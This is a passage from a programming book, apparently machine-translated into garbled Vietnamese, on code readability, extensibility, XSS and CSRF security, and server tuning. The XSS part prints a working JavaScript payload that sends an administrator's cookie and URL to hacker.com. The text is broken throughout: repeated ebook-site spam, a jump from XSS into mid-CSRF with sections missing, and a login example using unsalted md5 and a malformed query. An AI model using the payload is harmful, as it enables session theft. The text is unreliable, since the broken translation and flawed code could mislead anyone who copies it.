Giai đoạn thứ ba: Ưu hóa

Phía trước nói qua tham khảo giai đoạn cũng sẽ xuất hiện bình cảnh, chờ chúng ta lại nhìn mới nguyên mã nhìn không ra ý mới lúc, lúc này chúng ta trọng tâm sẽ đặt tại chính mình dấu hiệu ưu hóa bên trên, như có thể đọc tính chất, có thể mở rộng tính chất, tính an toàn, server chờ ưu hóa.

Có thể đọc tính chất

Chúng ta là một đoàn đội tại viết dấu hiệu, muốn làm dấu hiệu chỉ mỗi mình có thể xem hiểu, người khác cũng có thể xem hiểu. Đoàn đội cần ước định một cái mã hóa quy phạm, để đại gia viết dấu hiệu phong cách nhất trí, để trong đoàn đội tất cả mọi người đều có thể xem hiểu đại

Mã.

Tại mệnh danh bên trên, làm đến hàm số tên, loại tên, lượng biến đổi tên, kho số liệu bày tỏ tên, chữ đoạn tên tận lực tuân theo nhất trí quy phạm. Không cần áp dụng ghép vần thanh mẫu viết tắt, tận lực dùng tiếng Anh. Nếu như dùng ghép vần thanh mẫu viết tắt, có thể qua một thời gian ngắn ngay cả mình cũng không hiểu cái nào đó lượng biến đổi ý tứ.

Muốn chuyên cần tại viết dấu hiệu chú thích, dấu hiệu chú thích có lợi cho đoàn đội thành viên khác đọc ngươi dấu hiệu. Đối với lôgic phức tạp dấu hiệu module, đề nghị đại gia trước tiên viết chú thích sau viết dấu hiệu, chú thích tinh tường mỗi một bước làm cái gì, dạng này tại viết chú thích thời điểm liền có thể làm rõ lôgic, sau đó lại viết dấu hiệu.

Tỉ như, chúng ta viết người sử dụng đăng lục module, chúng ta trước tiên có thể viết chú thích:

// bước đầu tiên: Thu được người sử dụng tên, mật mã // bước thứ hai: Thẩm tra người sử dụng tên có tồn tại hay không // bước thứ ba: So sánh mật mã có chính xác không

Viết xong chú thích sau, sẽ ở chú thích phía dưới viết cụ thể dấu hiệu:

// bước đầu tiên: Thu được người sử dụng tên, mật mã $username=$_POST['username'];

$password=$_POST['password'];

// bước thứ hai: Thẩm tra người sử dụng tên có tồn tại hay không

$user=M('User')->where("'username'='%s'",$username)->find(); if(!$user){ $this->error('Người sử dụng không tồn tại');

}

// bước thứ ba: So sánh mật mã có chính xác không if($user['password']!=md5($password)){ $this->error('Mật mã không chính xác');

}

$this->success('Đăng lục thành công');

Điều chỉnh thử dấu hiệu có thể tăng thêm //debug chú thích, dạng này tại theo thứ tự tuyến phía trước có thể đại lượng lùng tìm một chút trong trình tự Phải chăng chứa //debug chú thích, nếu như phát hiện có điều chỉnh thử dấu hiệu không có xóa bỏ, cần xóa bỏ những thứ này điều chỉnh thử dấu hiệu lại Thượng tuyến.

Mỗi ngôn ngữ lập trình đều có quan phương đề cử mã hóa quy phạm, đại gia có thể ở trên mạng tìm được đồng thời học tập một chút. Tỉ như, PHP đề cử quy phạm là PSR quy phạm: https://github.com/PizzaLiu/PHP-FIG.

Có thể mở rộng tính chất

Mỗi một cái tốt sản phẩm cũng là không ngừng sửa chữa cùng dựng lại đi ra ngoài, nếu như chúng ta dấu hiệu không có cân nhắc đến có thể mở rộng tính chất, sẽ dẫn đến sửa chữa cùng dựng lại dấu hiệu khó khăn. Làm tốt nhu cầu phân tích cùng cơ cấu thiết kế có thể đề cao chương trình có thể mở rộng tính chất.

Nhu cầu phân tích

Cân nhắc có thể mở rộng tính chất cần từ nhu cầu phân tích bắt đầu. Nhu cầu phân tích là rất nhiều người dễ dàng coi nhẹ, nhu cầu phân tích làm xong, chương trình tự nhiên là có thể mở rộng tính chất. Làm nhu cầu phân tích lúc cần đối với nhu cầu tiến hành trần thuật xử lý: Phân chia làm cái gì cùng làm như thế nào. "Làm cái gì " Thường thường sẽ không thay đổi, mà "Làm như thế nào " Có khả năng sẽ thành, hẳn là đem có thể sẽ biến bộ phận độc lập xử lý.

Tỉ như sản phẩm quản lý nói cho chúng ta biết một cái nhu cầu: Thành viên danh sách muốn theo tính danh ghép vần sắp xếp ( Như đồ 1-26).

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Đồ 1-26 Thành viên danh sách

Nếu như chúng ta vẻn vẹn theo sản phẩm quản lý nói làm, không tiến hành bất luận cái gì phân tích lời nói, liền có thể sẽ đem kho số liệu sắp xếp chữ đoạn tồn vì ghép vần. Này liền không có có thể mở rộng tính chất. Nếu như sau này sản phẩm quản lý nói cho ngươi thành viên danh sách muốn đem VIP hội viên nâng lên phía trước, đến lúc đó ngươi chỉ có thể thống khổ đi tu đổi chương trình.

Chúng ta trước tiên làm nhu cầu trần thuật xử lý. Cái nhu cầu này là làm cái gì? Là làm sắp xếp. Làm như thế nào? Theo tính danh ghép vần. Phải biết thành viên danh sách muốn xếp hạng tự cái nhu cầu này chắc chắn sẽ không biến, nhưng mà theo tính danh ghép vần sắp xếp phương pháp là có thể sẽ biến. Chúng ta đang làm kho số liệu bày tỏ lúc thiết kế, đại gia cho rằng sắp xếp chữ đoạn hẳn là tồn ghép vần vẫn là con số?

Cái nhu cầu này chủ yếu là muốn làm sắp xếp, theo ghép vần chỉ là kèm theo chứng minh, cái này kèm theo chứng minh là có thể sẽ biến , mà sắp xếp vĩnh viễn sẽ không biến. Nếu là làm sắp xếp, kho số liệu chữ đoạn nên thiết kế số lượng chữ loại hình, theo con số trình tự sắp xếp. Chúng ta viết nữa một bộ phép tính, đem ghép vần chuyển đổi thành con số, tỉ như a chuyển đổi thành 1, b chuyển đổi thành 2, mới tăng thêm thành viên lúc lại đem tính danh chữ Hán chuyển đổi thành ghép vần, lại đem ghép vần chuyển đổi thành con số, tiếp đó tồn vào sắp xếp

Chữ đoạn. Dạng này sản phẩm quản lý nói cho ngươi muốn đem người nào đó sớm, chỉ cần sửa chữa người nào đó kho số liệu sắp xếp chữ đoạn con số liền có thể, không cần sửa chữa chương trình.

Làm tốt nhu cầu trần thuật xử lý, đem làm cái gì cùng làm như thế nào tách ra, chương trình liền tương đối có thể mở rộng tính chất . Chúng ta còn muốn tại ghi phần mềm lúc chú ý cơ cấu thiết kế.

Cơ cấu thiết kế

Đang làm chương trình cơ cấu lúc thiết kế, chúng ta cần học tập rất nhiều lập trình lý luận, như MVC, OOP, AOP, REST, thiết kế hình thức chờ. Học tập lập trình lý luận cũng muốn nắm giữ phương pháp, không cần lạm dụng lập trình lý luận. Cái nào đó lập trình lý Bàn về đưa ra nhất định là vì giải quyết nào đó loại vấn đề, muốn phân tích công trình của mình có hay không gặp phải vấn đề như vậy, có vấn đề như vậy lại áp dụng đối ứng lập trình lý luận. Nếu như không có vấn đề như vậy mà cứng rắn muốn dùng cái này lập trình lý luận, đó là thuộc về lạm dụng lập trình lý luận.

Đại gia có thể hỏi một chút chính mình có biết hay không MVC phải giải quyết vấn đề gì, OOP phải giải quyết vấn đề gì.

Chúng ta còn muốn minh bạch lập trình lý luận cùng lập trình kiến thức căn bản không giống nhau, kiến thức căn bản không tuân thủ chính là sai lầm. Tỉ như, không dựa theo quy định ngữ pháp ghi phần mềm, cái kia vận hành chương trình thời điểm liền có thể sẽ báo sai. Mà lập trình lý luận, không tuân thủ nó không có sai bỏ lỡ, chúng ta có thể linh hoạt ứng dụng lập trình lý luận, có thể đối với lập trình lý luận làm điều chỉnh đến giải quyết chính mình hạng mục bên trong gặp phải vấn đề thực tế.

Như đồ 1-27 chỉ ra, ta cho rằng rất nhiều lập trình lý luận đều có chung một cái mục đích —— "Giải ngẫu " ,

Mà "Giải ngẫu " Đại khái phương hướng là "Đang giao thiết kế, loại phải có chuyên trách, ủy thác trội hơn kế thừa " , theo dạng này đi ghi phần mềm, chúng ta trong lúc vô tình liền dùng đến phía trên một ít lập trình lý luận, thiết kế hình thức chờ.

Đồ 1-27 Lập trình lý luận phải giải quyết vấn đề

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Cái gì là chính giao thiết kế?

Đang giao khái niệm bắt nguồn từ toán học, như đồ 1-28 chỉ ra, đoạn thẳng ① Là nghiêng , cùng thẳng đứng đoạn thẳng ② Không phải đang giao, mà khác hai đầu đoạn thẳng ③④ Cùng đoạn thẳng ② Vì đang giao, đoạn thẳng ① Sẽ cùng mấy đầu tuyến đều có giao điểm lại nó biến động sẽ ảnh hưởng mấy đầu đoạn thẳng. Nếu như chương trình viết thành dạng này sẽ xuất hiện ngẫu hợp. Như đồ 1-29 chỉ ra, nếu để cho nằm ngang đoạn thẳng ①③④ Cùng dựng thẳng đoạn thẳng ② Đều đang giao, giao điểm giảm bớt, từ đó giảm bớt ngẫu hợp.

Đồ 1-28 Bất chính giao đoạn thẳng

Đồ 1-29 Đang giao đoạn thẳng

Đang giao tương tự với địa hạ đảng tổ chức, địa hạ đảng sẽ chia rất nhiều tiểu tổ, tiểu tổ nội bộ người mặc dù biết nhau, nhưng tiểu tổ ở giữa không có trực tiếp liên hệ. Dù cho cái nào đó tiểu tổ bị phát hiện , nghiêm hình tra tấn cũng không thể thu hoạch tiểu tổ bên ngoài danh sách nhân viên.

Rất nhiều lập trình lý luận đều phù hợp đang giao thiết kế, tỉ như OSI 7 tầng internet mô hình, MVC phân tầng chờ.

Như đồ 1-30 chỉ ra, 7 tầng internet mô hình bên trong, mỗi một tầng chỉ cùng trên dưới liền nhau hai tầng có liên hệ, không thể vượt tầng có liên hệ, giảm bớt tầng cùng tầng trước đây tiếp xúc điểm, giảm xuống ngẫu hợp.

Như đồ 1-31 chỉ ra, MVC đồng dạng chỉ là cùng lân cận tầng có liên hệ, đồ thị hình chiếu tầng không thể trực tiếp điều động mô hình Tầng.

Đồ 1-30 OSI 7 tầng internet mô hình

Đồ 1-31 MVC phân tầng

MVC có thể để cho website phong cách sửa chữa chỉ cố định tại V tầng, mà không ảnh hưởng khác tầng. Làm như vậy có thể để cho biến hóa khống chế tại cố định tầng bên trong, đây chính là một cái so sánh thành công cơ cấu.

Làm cơ cấu lúc muốn lấy "Khống chế biến hóa phát sinh ở cố định tầng " Làm mục đích. Rất nhiều người làm cơ cấu là lấy "Giảm bớt dấu hiệu lượng công việc " Làm mục đích, muốn làm đóng gói sau chỉ cần rất ít dấu hiệu liền có thể khai phát ra công năng, nếu quả như thật làm được dạng này, chương trình tính linh hoạt ngược lại rất thấp, không thể ứng đối rất nhiều nhu cầu.

Vì cái gì loại phải có chuyên trách?

Loại chính là muốn làm phân chia, đem giống nhau quy về một loại. Một cái loại phải có chuyên trách, nó chỉ làm một việc. Loại đóng gói thật tốt, chúng ta có thể nói ra cái này loại chức trách, tỉ như Db loại chính là thao tác kho số liệu , Log loại chính là viết ngày Chí . Nếu như một cái loại không có chuyên trách, cùng rất nhiều công năng đều liên quan, liền sẽ có ngẫu hợp. Chúng ta tuyệt đối không nên đóng gói dạng này "Thượng đế loại " —— Vạn năng đến cái gì đều có thể thực hiện. Một cái loại nếu như rất tạp, cái gì cũng làm, không có minh xác chức trách, vậy thì không thể gọi hắn là loại.

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Chúng ta tại đóng gói loại thời điểm, thường xuyên phát hiện thực tế viết đại lượng dấu hiệu đang làm cùng loại chức trách không quan hệ sự tình, lúc này chúng ta hẳn là đem dạng này dấu hiệu độc lập đi ra. Nếu Log loại bên trong có đại lượng dấu hiệu cùng nhật ký không quan hệ, mà cùng đọc viết văn kiện có liên quan, nên lại phong chứa một cái File loại tới đọc viết văn kiện, đọc viết nhật ký lúc để Log loại đi điều động File loại, tỉ như viết nhật ký phương pháp Log: : write.

Chúng ta không trực tiếp thực hiện viết nhật ký, mà ủy thác File: : write để hoàn thành, đây chính là "Ủy thác " . Tại đóng gói loại thời điểm, dùng nhiều ủy thác phương thức có thể để cho loại chức trách càng thêm rõ ràng.

Vì ủy thác gì trội hơn kế thừa?

Kế thừa dễ dàng xuất hiện tổ hợp nổ tung vấn đề.

Như đồ 1-32 chỉ ra, giả thiết chúng ta có 3 cái loại: Người, điểu cùng cá. Nhân loại có nói phương pháp, loài chim có bay phương pháp, loài cá có bơi phương pháp. Nếu như chúng ta cần đóng gói một cái loại "Biết bay người " , nó vừa có thể nói chuyện lại có thể bay, như vậy cái này loại muốn trước kế thừa tại nhân loại, lại phục chế loài chim bay phương pháp đến mới loại. "Biết bơi người " "Biết nói chuyện điểu " Các loại đều có vấn đề như vậy, sẽ phục chế dấu hiệu. Công năng tổ hợp tình huống càng nhiều, quá nhiều trùng lặp dấu hiệu thì càng nhiều, đây chính là kế thừa dễ dàng sinh ra "Tổ hợp nổ tung " Vấn đề. Mà dùng ủy thác phương pháp liền có thể giải quyết tổ hợp nổ tung vấn đề.

Đồ 1-32 Kế thừa tổ hợp nổ tung

Như đồ 1-33 chỉ ra, đem nhân loại "Nói " , loài chim "Bay " , loài cá "Bơi " Đều ủy thác ra ngoài, giao cho mới loại thực hiện. "Biết bay người " Không cần kế thừa bất luận cái gì cơ bản loại, điều động "Nói " Cùng "Bay " Liền có thể, đồng dạng "Biết nói chuyện điểu " "Biết nói chuyện cá " Các loại cũng là điều động tương ứng ủy thác loại phương pháp liền có thể. Dạng này không cần phục chế dấu hiệu liền có thể thực hiện chức năng tổ hợp, tránh tổ hợp nổ tung.

Làm được "Đang giao thiết kế, loại phải có chuyên trách, ủy thác trội hơn kế thừa " Câu này, chương trình cơ cấu tự nhiên là làm xong.

Tính an toàn

Đồ 1-33 Sử dụng ủy thác giải quyết tổ hợp nổ tung vấn đề

Làm một nhân viên kỹ thuật, không thể phạm hai loại sai lầm: Một cái là vấn đề an toàn, một cái khác là cao đồng phát hỏi Đề. Nếu như một cái sản phẩm xuất hiện hai vấn đề này, có khả năng sẽ mất đi đại lượng người sử dụng. Cái này tiết chúng ta trọng điểm nói một chút vấn đề an toàn, phía dưới tiết sẽ giảng giải cao đồng phát vấn đề.

Vấn đề an toàn xuất hiện là do ở chúng ta quá tín nhiệm người sử dụng truyền vào nội dung, đối với người sử dụng truyền vào nội dung không có tiến hành nghiêm khắc loại bỏ. Chúng ta muốn hiểu rõ một chút thường gặp an toàn thiếu sót, như XSS, SQL rót vào, CSRF chờ, cùng với Phải biết như thế nào loại bỏ người sử dụng truyền vào nội dung, phòng ngừa dạng này vấn đề an toàn. Phía dưới liệt kê một chút thường gặp vấn đề an toàn.

XSS

Cross-Site Scripting, viết tắt CSS, lại gọi XSS. Bởi vì trùng điệp kiểu dáng bày tỏ cũng gọi CSS, chỗ

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Lấy đồng dạng chúng ta dùng XSS cái này tên gọi tắt, tiếng Trung ý là vượt đứng kịch bản gốc công kích. Hacker chủ yếu là dùng JavaScript kịch bản gốc ngôn ngữ tới công kích website, có thể lợi dụng XSS thiếu sót trộm lấy người sử dụng cookie, tiếp đó đạt đến trộm nick mắt .

Nâng một cái chân thực án lệ, 2014 năm 7 nguyệt, bí mật App hậu trường bị Hacker công kích ( Gặp đồ 1-34), đen Khách có thể dùng nhân viên quản lý thân phận đăng lục hậu trường, xem xét tất cả người sử dụng bí mật. Bí mật đã không thành bí mật, cái kia người sử dụng dùng đến còn yên tâm sao?( Bổ sung chứng minh: Bí mật quan phương lúc đó đã giải quyết thích đáng sự kiện, không để cho Hacker tiết lộ người sử dụng tư ẩn, thiếu sót đã chữa trị, bây giờ còn là có thể yên tâm dùng .)

Hacker là làm thế nào biết hậu trường địa chỉ, lại là như thế nào trộm lấy nhân viên quản lý trương mục ?

Đồ 1-34 Bí mật App bị công kích nhỏ nhoi

Kỳ thực rất đơn giản, Hacker tuyên bố một đầu mang JS dấu hiệu bí mật, hậu trường nhân viên đang xét duyệt đầu này bí mật lúc liền sẽ bị trộm thủ tín hơi thở. Hacker tại ban bố trong bí mật sẽ mang như sau JS dấu hiệu:

(new Image()).src="http://hacker.com/?cookie="+document.cookie+ "&url="+location.href

Dấu hiệu bên trong hacker.com là Hacker chính mình website. Hậu trường thường thường là Web giới diện, có thể thi hành JS dấu hiệu. Làm nhân viên quản lý ở phía sau đài xem xét Hacker bí mật lúc, nhân viên quản lý cookie cùng hậu trường địa chỉ sẽ truyền đến Hacker website bị ghi chép lại, đen như vậy khách liền trộm lấy nhân viên quản lý cookie. Hacker lại đem chính mình trình duyệt cookie được thiết trí cùng nhân viên quản lý một dạng, tiếp đó phỏng vấn hậu trường địa chỉ liền có thể lấy nhân viên quản lý thân phận đăng lục hậu trường .

Cho nên, chúng ta không thể quá tin tưởng người sử dụng truyền vào nội dung, phải qua lọc người sử dụng truyền vào nội dung, không thể để người sử dụng đưa ra JS dấu hiệu. Nhưng ở loại bỏ thời điểm chú ý cân nhắc toàn diện, tránh Hacker vòng qua loại bỏ quy tắc. Phía dưới nói rõ chi tiết mấy loại Hacker có thể sẽ vòng qua loại bỏ quy tắc tình huống.

Tiếp đó, Hacker tại trên diễn đàn phát bài viết, thiếp mời bên trong có vừa làm xong giao diện kết nối, dẫn dụ người sử dụng đi điểm cái này kết nối. Một khi người sử dụng ấn mở cái này kết nối, liền bị cưỡng chế thi hành ra khỏi thao tác.

Nếu chỉ là ra khỏi trương mục công năng còn tốt, nếu như là tăng thêm nhân viên quản lý, xóa bỏ người sử dụng chờ thao tác tồn tại chỗ sơ hở như vậy cái kia tính nguy hại liền tương đối lớn . Đừng tưởng rằng tăng thêm nhân viên quản lý chương trình làm xong quyền hạn phán đoán ( Chỉ có siêu cấp nhân viên quản lý mới có thể tăng thêm nhân viên quản lý ) liền an toàn. Hacker biết tăng thêm nhân viên quản lý địa chỉ cùng tăng thêm nhân viên quản lý phải đề giao người sử dụng tên, mật mã chờ tham số liền có thể chế tác một cái tự động đưa ra danh sách giao diện, đem người sử dụng tên, mật mã chờ tham số viết xong đồng thời dẫn dụ siêu cấp nhân viên quản lý đi click cái này kết nối. Mà siêu cấp nhân viên quản lý phía trước đăng lục đi qua đài, cho nên có quyền hạn tăng thêm nhân viên quản lý, dạng này siêu cấp nhân viên quản lý liền bất tri bất giác tăng thêm một cái mới nhân viên quản lý. Mà cái này mới quản

Lý viên, Hacker là biết kỳ dụng hộ danh cùng mật mã, cho nên liền có thể đăng lục hệ thống hậu trường . Phòng ngừa CSRF công kích có ba loại phương pháp.

1.

Phán đoán thỉnh cầu nơi phát ra

Chương trình có thể dùng $_SERVER['HTTP_REFERER'] Thu được thỉnh cầu nơi phát ra, phán đoán ra nguồn gốc tên miền phải chăng vì chính mình website tên miền, nơi phát ra nghiệm chứng thông qua mới có thể tiến hành tương ứng thao tác. Đen như vậy khách tại chính mình website địa chỉ phía dưới giả tạo thỉnh cầu, bởi vì nơi phát ra nghiệm chứng không thể thông qua, cho nên cũng không thể cưỡng chế người sử dụng thao tác.

2.

Nghiệm chứng mã

Tại đưa ra danh sách thời điểm sẽ biểu hiện một tấm nghiệm chứng mã hình ảnh, người sử dụng muốn chính xác đưa vào nghiệm chứng mã mới có thể tiến hành tương ứng thao tác. Nghiệm chứng mã động thái thay đổi, mỗi lần cũng không giống nhau, mà Hacker tự động đưa ra danh sách chương trình không cách nào động thái thiết trí nghiệm chứng mã cái này tham số.

Đang nghiệm chứng mã sinh thành thời điểm, chương trình đã đem nghiệm chứng mã giá trị tồn đến session, làm người sử dụng đưa ra thỉnh cầu lúc chương trình chỉ là phán đoán người sử dụng truyền vào nghiệm chứng mã phải chăng cùng session bên trong nghiệm chứng mã giá trị nhất trí, như nhất trí thì nghiệm chứng thông qua cũng tiến hành tương ứng thao tác.

Nhưng nếu như mỗi cái danh sách đưa ra thao tác đều dùng nghiệm chứng mã, người sử dụng sẽ cảm thấy thao tác rườm rà, từ đó làm cho người sử dụng trôi đi. Cho nên, ta đề nghị đại gia chỉ ở mấu chốt thao tác thời điểm sử dụng nghiệm chứng mã. Tỷ như, đăng ký thời điểm sử dụng nghiệm chứng mã không chỉ có thể phòng CSRF công kích, còn có thể phòng ngừa máy móc đăng ký.

3.

Lệnh bài nghiệm chứng

Lệnh bài nghiệm chứng nguyên lý kỳ thực cùng nghiệm chứng mã không sai biệt lắm, chỉ là không để người sử dụng thủ động thâu nhập. Chương trình tại biểu hiện danh sách lúc lại tạo ra một cái ẩn tàng vực, cái này ẩn tàng vực giá trị là một cái ngẫu nhiên ký tự xuyên, ẩn tàng vực chính là lệnh bài. Chương trình tại tạo ra lệnh bài thời điểm kỳ thực đã đem lệnh bài giá trị tồn tại session, làm người sử dụng đưa ra thỉnh cầu lúc chỉ phán đoán đưa ra tới lệnh bài phải chăng cùng session bên trong giá trị nhất trí, như nhất trí thì nghiệm chứng thông qua cũng tiến hành tương ứng thao tác. Nơi này lệnh bài giống như nghiệm chứng mã, chỉ là cái nghiệm chứng mã không cần người sử dụng thủ động đưa vào, mà là tại danh sách ẩn tàng vực bên trong tự động điền xong nghiệm chứng mã giá trị.

Đồng dạng, Hacker không cách nào động thái thay đổi hắn tự động đưa ra danh sách trong trình tự lệnh bài tham số, cho nên không cách nào tiến hành CSRF công kích.

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Lệnh bài nghiệm chứng công năng là rất nhiều hệ thống kèm theo , ThinkPHP thiết trí phối trí hạng TOKEN_ON vì true liền có thể mở ra lệnh bài nghiệm chứng. Cần nhắc nhở đại gia chính là, lệnh bài nghiệm chứng chỉ có thể phòng CSRF công kích, mà không thể phòng máy móc chú Sách, máy móc bắt lấy. Có ít người ngộ nhận là lệnh bài nghiệm chứng còn có thể phòng máy móc chương trình, lệnh bài giá trị ngay tại giao diện bên trong, máy móc chương trình vận hành lúc có thể biết đừng đọc ra . Chương trình muốn phán đoán là máy móc thao tác vẫn là người tại thao tác, chỉ có thể thông qua nghiệm chứng mã, điện thoại tin nhắn nghiệm chứng, hạn chế phỏng vấn tần suất các loại thủ đoạn.

Khác vấn đề an toàn

Tấu chương kỹ càng giới thiệu ba loại thường gặp an toàn thiếu sót, mà chương trình dễ dàng xuất hiện vấn đề an toàn chỗ còn rất nhiều, tỉ như upload văn kiện không có phán đoán loại văn bản sẽ dẫn đến Hacker upload WebShell công kích website, Linux server cũng dễ dàng xuất hiện thiếu sót, chúng ta dùng vận hành hoàn cảnh Nginx, Apache chờ cũng có thể sẽ có tiềm tàng lỗ hổng Động. Đại gia quan tâm kỹ càng tự sử dụng khai nguyên phần mềm, kịp thời thăng cấp, kịp thời đánh lên an toàn miếng vá.

Nếu như sản phẩm của ngươi nổi danh, ngày ngày đều sẽ có Hacker hoặc đối thủ cạnh tranh tìm ngươi sản phẩm an toàn thiếu sót. Sản phẩm một khi ra vấn đề an toàn thường thường là có tính chất huỷ diệt, đại gia nhất định muốn dựng nên an toàn ý thức.

Server ưu hóa

Làm một nhân viên kỹ thuật, không thể phạm hai loại sai lầm: Một cái là vấn đề an toàn, một cái khác là cao đồng phát vấn đề. Phía trước chúng ta nói vấn đề an toàn, bây giờ chúng ta lại đến nói một chút cao đồng phát vấn đề.

Sản phẩm mới tăng thêm người sử dụng càng ngày càng nhiều, vốn là sản phẩm xu thế rất tốt, nhưng cũng có thể bởi vì không thể tiếp nhận cao đồng phát mà ảnh hưởng người sử dụng sử dụng bình thường, cho nên người sử dụng đều rối rít chuyển dùng đối thủ cạnh tranh sản phẩm.2015 mỗi năm sơ, đủ nhớ App đột nhiên gặp may, nhưng bởi vì chịu không được cao đồng phát đứng máy thời gian một tuần. Trư Bát Giới lưới trước đó đối thủ cạnh tranh rất nhiều, bọn hắn người nói cho ta biết bọn hắn mặc dù có thể may mắn còn sống sót, là bởi vì mấy năm trước tin tức truyền thông đại lượng đưa tin Witkey hình thức lúc lưu lượng đột nhiên tăng mạnh, bọn hắn ý thức được lưu hành xu thế đồng thời tại cái kia trong lúc đó đại lượng tăng thêm server, mà còn lại đối thủ cạnh tranh xem thường dẫn đến cuối cùng chịu không được cao đồng phát khiến cho người sử dụng đều tới Trư Bát Giới lưới.

Muốn để chương trình có thể tiếp nhận cao đồng phát, ta tổng kết 6 cái lấy ít, đại gia có thể tham khảo.

1.

Làm tốt kho số liệu ưu hóa

Sau bưng chương trình có khả năng xuất hiện nhất bình cảnh chỗ chính là kho số liệu, kho số liệu làm tốt ưu hóa có thể để cho chương trình tốc độ nhanh rất nhiều.

Đầu tiên, chúng ta muốn lựa chọn hảo MySQL động cơ.InnoDB điểm tốt là sự vụ xử lý, nếu như là bình thường đọc viết đề nghị dùng MyISAM.

Thứ yếu, chúng ta phải làm cho tốt MySQL hướng dẫn tra cứu ưu hóa. Nếu như MySQL không có hướng dẫn tra cứu, mỗi lần thẩm tra cũng là toàn bộ bày tỏ quét hình, số liệu lượng quá lớn tính năng còn kém, có thể dùng explain đến phân tích MySQL câu nói tính năng.

Lần nữa, chúng ta phải làm cho tốt bày tỏ kết cấu ưu hóa. Thích hợp dùng một chút dư thừa rườm rà chữ đoạn, từ đó giảm bớt chương trình SQL câu nói Xuất hiện join tuần tra tình huống.join tuần tra tính năng tương đối thấp, group by tuần tra tính năng thấp hơn, không cần tại lượt truy cập lớn giao diện lúc sử dụng group by thẩm tra.

Cuối cùng, chúng ta muốn thiết trí hảo MySQL phối trí.querycache* Tương quan phối trí hạng có thể phối trí thẩm tra trì hoãn Tồn, key_buffer có thể phối trí hướng dẫn tra cứu cache, thread_cache_size có thể phối trí tuyến trình cache, tmp_table_size có thể phối trí tạm thời bày tỏ lớn nhỏ.

Chúng ta có thể dùng mysqlreport công cụ này đến phân tích MySQL khỏe mạnh tình trạng.

2.

Sử dụng cache

Dùng MemCache, Xcache chờ có thể đối với kho số liệu thẩm tra kết cấu tiến hành cache, từ đó giảm xuống kho số liệu áp lực.PHP có thể mở ra Opcache module, Apache, Nginx, Varnish chờ vận hành hoàn cảnh đều có cache module có thể đối Opcache tiến hành cache, không thường thường đổi mới số liệu giao diện có thể mở ra vận hành hoàn cảnh cache. Mặt khác, chúng ta còn có thể căn cứ vào HTTP hiệp nghị đem cache thiết trí tại dùng nhà trình duyệt.

3.

Sử dụng đội ngũ

Đối với một chút tốn thời gian chương trình có thể sử dụng đội ngũ xử lý, NSQ, Gearman, Redis đều có thể làm đội ngũ.

Sử dụng đội ngũ có thể giảm bớt server phụ tải. Nâng một cái ứng dụng tràng cảnh ví dụ, có một cái thông báo tuyển dụng sản phẩm, người sử dụng upload sơ yếu lý lịch sau muốn phân tích sơ yếu lý lịch, rút ra sơ yếu lý lịch văn tự, tạo ra sơ yếu lý lịch Screenshots, đây là một cái rất tốn thời gian việc làm, mỗi lần phân tích sơ yếu lý lịch đều có thể cần 1 phút. Tại không dùng đội ngũ tình huống phía dưới, nếu có 1000 cá nhân cùng Lúc upload sơ yếu lý lịch, như vậy thì có 1000 cái tiến trình đồng thời xử lý sơ yếu lý lịch, mỗi cái tiến trình đều phải tốn 1 phút, lúc này phục vụ Khí phụ tải sẽ rất cao, bộ nhớ cùng CPU cũng không đủ dùng, server sẽ đứng máy. Mà nếu như chúng ta sử dụng đội ngũ, để sơ yếu lý lịch Phân tích xếp hàng tới xử lý, một lần chỉ xử lý một hai phần sơ yếu lý lịch, server phụ tải cũng sẽ không cao như vậy. Người sử dụng upload sơ yếu lý lịch sau hướng về trong đội ngũ mặt thêm một cái nhiệm vụ, lại cho người sử dụng biểu hiện một cái "Sơ yếu lý lịch phân tích bên trong " Giao diện để người sử dụng chờ đợi

Càng nhiều miễn phí sách điện tử thỉnh lùng tìm 「 Tuệ nhãn nhìn 」www.huiyankan.com

Một hồi, cái này giao diện cách mỗi vài giây đồng hồ sẽ điều động tiếp lời thẩm tra sơ yếu lý lịch phải chăng phân tích hoàn thành, nếu như phân tích hoàn thành giao diện liền biểu hiện kết quả phân tích. Sử dụng đội ngũ sau, làm lượt truy cập lớn thời điểm server cũng sẽ không đứng máy, chỉ là người sử dụng chờ đợi kết quả phân tích thời gian có thể sẽ lâu(dài) một chút mà thôi.

12306 trên website mua sắm vé xe lửa đặt đơn hàng thời điểm cũng sử dụng đội ngũ. Bình thường đều có thể nhanh chóng mua được phiếu, nhưng ở tết xuân giờ cao điểm đương thời đơn sau có thể để cho người sử dụng chờ hơn nửa canh giờ, có thể nếu như bọn hắn không cần đội ngũ không cách nào ủng hộ rộng lượng như vậy cao đồng phát.

4.

Xây dựng phân bố thức hoàn cảnh

Làm lượt truy cập lớn tới trình độ nhất định lúc, một đài server không có khả năng ủng hộ phỏng vấn, cần nhiều đài server. Lúc này, chúng ta liền cần xây dựng phân bố thức hoàn cảnh, có thể dùng Nginx, LVS chờ làm phụ tải cân đối tới xây dựng phân bố thức hoàn cảnh, có thể dùng Docker đóng gói ứng dụng, dạng này mỗi lần muốn mở rộng lúc khởi động Docker mười phần nhanh chóng. Kho số liệu cũng có thể Lấy làm phân bố thức chủ tớ đọc viết phân ly.

5.

Áp súc văn kiện

Apache, Nginx vận hành hoàn cảnh có áp súc module, PHP có thể đối với phối trí hạng zlib.output_compression tiến hành áp súc, phía trước JS, CSS văn kiện có thể dùng công cụ áp súc giảm bớt thể Tích. Hình ảnh có thể dùng CSS

Sprite phương pháp cắt chém, đem nhiều trương hình ảnh sát nhập tại một tấm trên hình ảnh lấy đề cao tăng thêm hình ảnh tốc độ.

Đối với văn kiện làm đến thuật áp súc sau, người sử dụng phỏng vấn sử dụng lưu lượng giảm bớt, người sử dụng phỏng vấn tốc độ tăng tốc.

6.

Sử dụng điện toán đám mây

